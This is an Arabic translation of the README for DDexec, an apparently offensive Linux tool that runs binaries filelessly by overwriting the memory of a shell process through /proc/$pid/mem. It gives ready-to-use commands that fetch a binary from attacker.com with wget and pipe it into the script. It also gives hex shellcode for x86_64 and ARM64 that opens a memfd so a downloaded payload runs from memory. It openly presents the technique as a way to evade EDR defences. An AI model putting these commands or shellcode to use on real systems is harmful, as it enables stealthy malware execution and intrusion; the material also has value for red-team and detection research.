
تقنية لتشغيل الملفات الثنائية بدون ملفات وبشكل خفي على لينكس عن طريق 'استبدال' عملية الصدفة بأخرى.
لقد قمت بتحديث DDexec كثيرًا لدرجة أنه بالكاد يمكن التعرف عليه؛ أصبح تحليل ELF يُنفَّذ الآن بواسطة كود آلة بدلاً من سكربت الصدفة، مما يجعله أسرع بكثير وأكثر موثوقية ووضوحًا. كما قلّل عدد تبعياته إلى الحد الأدنى المطلق.
كما أنه الآن بالكاد يعتمد على حسابات الصدفة الحسابية، مما قد يجعله يعمل على Android.
في لينكس، لتشغيل برنامج، يجب أن يكون موجودًا كملف، ويجب أن يكون الوصول إليه ممكنًا بطريقة ما عبر التسلسل الهرمي لنظام الملفات (هذه هي طريقة عمل execve()). قد يكون هذا الملف موجودًا على القرص أو في الذاكرة (tmpfs، memfd) لكنك تحتاج إلى مسار ملف. هذا جعل التحكم في ما يُشغَّل على نظام لينكس سهلاً للغاية، ويسهل اكتشاف التهديدات وأدوات المهاجمين أو منعهم من محاولة تنفيذ أي شيء خاص بهم على الإطلاق (على سبيل المثال، عدم السماح للمستخدمين غير المميزين بوضع ملفات قابلة للتنفيذ في أي مكان).
حسنًا، إذا لم تستطع بدء العملية التي تريدها... فستختطف وتعذب عملية موجودة بالفعل حتى ترضخ لرغباتك.
قم بتوجيه (pipe) الملف الثنائي الذي تريد تشغيله إلى سكربت ddexec.sh. وسائط السكربت هي وسائط البرنامج (بدءًا بـ argv[0]).
هنا، جرب هذا:
bash ddexec.sh ls -lA < /bin/ls
والذي يمكن تسليحه بسهولة بشيء مثل:
wget -O- https://attacker.com/binary.elf | bash ddexec.sh argv0 foo bar
هناك أيضًا سكربت ddsc.sh الذي يسمح لك بتشغيل كود آلة مباشرة.
المثال التالي لاستخدام شيلكود سينشئ memfd (مؤشر ملف يشير إلى ملف في الذاكرة) يمكننا لاحقًا كتابة الملفات الثنائية إليه وتشغيلها، من الذاكرة بالطبع.
bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4
في ARM64 العملية مماثلة.
bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"
توزيعات لينكس المختبرة هي Debian وAlpine وArch. الصدفات المدعومة هي bash وzsh وash (busybox)؛ على معماريات x86_64 وaarch64 (arm64).
اعتبارًا من 12/12/2022، وجدت عددًا من البدائل لـ dd، أحدها، tail، هو حاليًا البرنامج الافتراضي المستخدم لتنفيذ lseek() عبر ملف mem (وهو الغرض الوحيد من استخدام dd). هذه البدائل هي:
tail
hexdump
cmp
xxd
بضبط المتغير SEEKER يمكنك تغيير الباحث المستخدم، على سبيل المثال:
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
إذا وجدت باحثًا صالحًا آخر غير منفذ في السكربت، فلا يزال بإمكانك استخدامه بضبط المتغير SEEKER_ARGS:
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
احجب هذا، أنظمة EDR.
يعتمد هذا السكربت على الأدوات التالية ليعمل.
bash | zsh | ash (busybox)
tail | dd | hexdump | cmp | xxd | أي برنامج آخر يسمح لنا بالبحث عبر مؤشر ملف (fd)
في حالة ash، فإن tail وdd وhexdump وcmp وxxd هي أدوات مدمجة، لذا فهي ليست تبعية فعلية.
ملاحظة: يعمل فقط على الإصدارات الحديثة من busybox، لست متأكدًا من أقدم إصدار، لم أبحث عنه. أعلم أنه يعمل على الإصدار v1.35.0، لكنه لا يعمل على v1.30.0.
إذا كنت قادرًا على تعديل ذاكرة عملية ما بشكل تعسفي، فيمكنك السيطرة عليها. يمكن استخدام هذا لاختطاف عملية موجودة بالفعل واستبدالها ببرنامج آخر. يمكننا تحقيق ذلك إما باستخدام استدعاء النظام ptrace() (والذي يتطلب القدرة على تنفيذ استدعاءات النظام أو توفر gdb على النظام) أو، بشكل أكثر إثارة للاهتمام، الكتابة إلى /proc/$pid/mem.
ملف /proc/$pid/mem هو تعيين واحد لواحد لمساحة عنوان المستخدم لعملية ما (على سبيل المثال من 0x0 إلى 0x7ffffffffffff000 في x86-64). هذا يعني أن القراءة من أو الكتابة إلى هذا الملف عند إزاحة x هي نفس قراءة أو تعديل المحتويات عند العنوان الافتراضي x.
الآن، لدينا ثلاث مشاكل أساسية نواجهها:
لكن لدينا حلول ذكية:
mem الخاص بالصدفة مع صلاحيات الكتابة... وبالتالي العمليات الفرعية التي تستخدم ذلك fd ستكون قادرة على تعديل ذاكرة الصدفة.maps الخاص بالصدفة من procfs للحصول على معلومات حول تخطيط العناوين للعملية.lseek() على الملف. من الصدفة يمكن القيام بذلك باستخدام بعض الملفات الثنائية الشائعة، مثل tail أو dd الشهير، راجع قسم EverythingExec لمزيد من المعلومات.الخطوات سهلة نسبيًا ولا تتطلب أي نوع من الخبرة لفهمها:
/proc/$pid/syscall على العنوان الذي ستعود إليه العملية بعد استدعاء النظام الذي تنفذه حاليًا —بما أننا نقرأ هذا الملف، فإن استدعاء النظام سيكون read()، وسيكون العنوان داخل wrapper التابع للـ libc لـ read(). الغرض من هذا هو الحصول على مكان حيث سنجد المُمرر (stager) بعد قليل.mem يمكننا تعديل الصفحات غير القابلة للكتابة). سيقوم هذا المُمرر بقراءة وتنفيذ شيلكود أكبر.execve():
تم إنشاء الشيلكود عن طريق تجميع loader.c، وتعديل لغة التجميع الخاصة به لإزالة وتبسيط الكثير من القطع الأثرية التي أدخلها المترجم.
حسنًا، هناك بعض المهام المتبقية (TODOs). إلى جانب ذلك، ربما لاحظت أنني لا أعرف الكثير عن كتابة سكربتات الصدفة (أنا مبرمج C أكثر)، وأنا متأكد أنني ربحت جوائز "الاستخدام غير المجدي لـ cat" لعقد من الزمن —لم يتم إيذاء أي قطط أثناء صنع هذه الأداة— وباقي المتغيرات بمجرد جزء من هذا المشروع.
— التكيف مع صداف أخرى —في النهاية يجب أن نجعل السكربت متوافقًا مع POSIX.
على أي حال، لا تتردد في عمل fork وPR. ولكن من فضلك، عند المساهمة، ضع في اعتبارك أن PRs التي تجعل الأداة لا تعمل على الصداف المدعومة لن يتم قبولها، هذا ليس مساهمة، بل هو مجرد كسر للأشياء. سيكون من الأفضل أن تكون تغييراتك متوافقة مع POSIX.
فقط... من فضلك، من فضلك، من فضلك، تحقق من كودك وتأكد من أنه يعمل على الصداف المدعومة على الأقل على Debian وAlpine. إنها مجرد بضعة حاويات Docker.
بعد نشر هذه الأداة، علمت أن Sektor7 قد نشر بالفعل هذه التقنية نفسها تقريبًا على مدونته قبل بضع سنوات.
على الرغم من ذلك، فكرت في هذه التقنية بشكل مستقل، الآن تقريبًا، في مجملها. ربما الجزء الأكثر ذكاءً في هذه التقنية هو استخدام مؤشر الملف الموروث، فكرة قدمها David Buchanan (مستوحاة من مدونة Sektor7) قبل حوالي عام من بدء التفكير في هذا الموضوع. هذا وحده لا يجعل التقنية أبسط وأكثر أناقة فحسب، بل يجعلها أيضًا أكثر فتكًا بإلغاء الحاجة إلى تعطيل ASLR.
على أي حال، آمل أن أتمكن من نشر هذه التقنية بشكل أوسع، وهذا هو المهم.
أود أن أشكر Carlos Polop، مختبِر اختراق عظيم وصديق أفضل، على جعلي أفكر في هذا الموضوع، وعلى ملاحظاته المفيدة واهتمامه، أوه، وأيضًا أدين له باسم المشروع. أنا متأكد من أنك إذا كنت تقرأ هذا، فقد استخدمت بالفعل أداته الرائعة PEASS ووجدت مقالة مفيدة في كتابه HackTricks.
يمكنك:
mem.يمكنك التواصل معي عبر Twitter.